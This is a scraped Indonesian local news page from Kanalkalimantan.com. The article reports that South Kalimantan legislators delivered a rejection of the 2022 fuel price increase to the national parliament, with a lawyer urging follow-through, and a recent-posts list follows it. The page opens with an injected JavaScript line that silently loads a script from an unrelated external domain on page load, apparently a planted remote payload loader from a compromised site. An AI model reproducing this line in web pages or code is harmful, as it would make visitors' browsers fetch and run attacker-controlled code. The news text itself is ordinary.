(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Tuntutan Tolak Kenaikan BBM, Langkah Dewan Perlu Dikawal Tuntas Agar Tak Sekadar Formalitas!


KANALKALIMANTAN.COM, BANJARMASIN– Usai rapat dengar pendapat (RDP) DPRD Kalsel yang dilaksanakan Selasa (13/9/2022), Komisi III dan Komisi II DPRD Kalsel bertolak ke Jakarta mengantar surat rekomendasi.

Ketua DPRD Kalsel Supian HK mengatakan, untuk menyampaikan surat tuntutan hasil RDP tersebut dirinya mengirim Komisi III dan Komisi II DPRD Kalsel ke DPR RI.

“Benar yang pasti mengantar kan itu komisi 3 yang terkait dengan komisi 2 ke pusat, kami hanya memfasilitasi untuk menyampaikan surat,” ujarnya.

Ditanya apakah wakil rakyat di pusat juga menyambut penolakan kenaikan BBM atau tidak, Supian menyampaikan hal tersebut adalah urusan dewan pusat.

 

Baca juga : Kecewa Hasil RDP DPRD Kalsel, BEM Se-Kalsel Gelar Aksi Lanjutan Besok

“DPR itu kan yang bersangkutan, kewenangan kami bukan menyangkut masalah. Tapi kami menggiring surat itu agar dilihat sejauh mana elemen masyarakat yang ada di Kalsel menyikapi,” ungkapnya.

Sementara itu, disingung akan kenaikan bahan pokok yang naik sebelum BBM, Supian HK menjawab tetap mengembalikan urusan tersebut ke pemerintah daerah.

Kendati demikian, pihaknya akan tetap menyampaikan 9 pokok pembahasan di RDP dengan rapat melalui instansi terkait tentang kenaikan bahan pokok.

“Itu kembali lagi urusan menyangkut pemerintah daerahnya, dan mungkin dalam waktu dekat ini kami akan rapat dengan pihak terkait seperti dinas perdagangan dan perindustrian, begitupun dengan dinas PKM hingga dinas Desa untuk menyikapi 9 pokok yang dijelaskan dalam RDP tentang kenaikan bahan pokok,” pungkas Supian HK.

 

Baca juga  : KRONOLOGI. Pelecehan terhadap Mahasiswi ULM oleh Orang Tak Dikenal!

Menanggapi hal tersebut, pakar Ilmu Hukum dari Borneo Law Firm Banjarmasin, M Pazri, Langkah dewan harus dikawal sampai tuntas jangan sampai hanya formalitas saja.

“Seharusnya semua aspirasi di akomodir sesuai dengan fungsi DPRD Kalsel, jangan sampai fasilitas yang dewan berikan itu hanya sebatas menjalankan tugas yang dianggap mubazir,” pungkasnya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : cell


Desy Arfianty

Recent Posts

Safari Ramadan ke Lokgabang, Bupati dan Wabup Banjar Dapat Sambutan Hangat Warga

KANALKALIMANTAN.COM, MARTAPURA - Keakraban antara Bupati Banjar H Saidi Mansyur, Wabup Banjar Habib Idrus Alhabsyi… Read More

2 jam ago

32 Desa di Empat Kecamatan Banjir, Pemkab Kapuas Kirim Logistik Bantuan

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mengirimkan bantuan logistik untuk warga korban terdampak bencana… Read More

3 jam ago

Safari Ramadan ke Aranio, Bupati Banjar Disambut Hangat oleh Warga

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur dan Wabup Banjar Habib Idrus Alhabsyi beserta… Read More

1 hari ago

Pencari Kayu Berangkat Kamis, Sabtu Ditemukan di Rawa Hutan Galam

KANALKALIMANTAN.COM, BANJARBARU - Temuan jasad lelaki paruh baya di tengah hutan rawa kawasan Jalan Ahmad… Read More

1 hari ago

Bappedalitbang Banjar Segera Umumkan Hasil Penilaian Evaluasi Kinerja Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat hasil… Read More

1 hari ago

Ketua DPRD Hadiri Safari Ramadan Wabup Kotabaru

KANALKALIMANTAN.COM, KOTABARU – Wakil Bupati Kotabaru Syairi Mukhlis melaksanakan Safari Ramadan ke Kecamatan Pulau Laut… Read More

1 hari ago

This website uses cookies.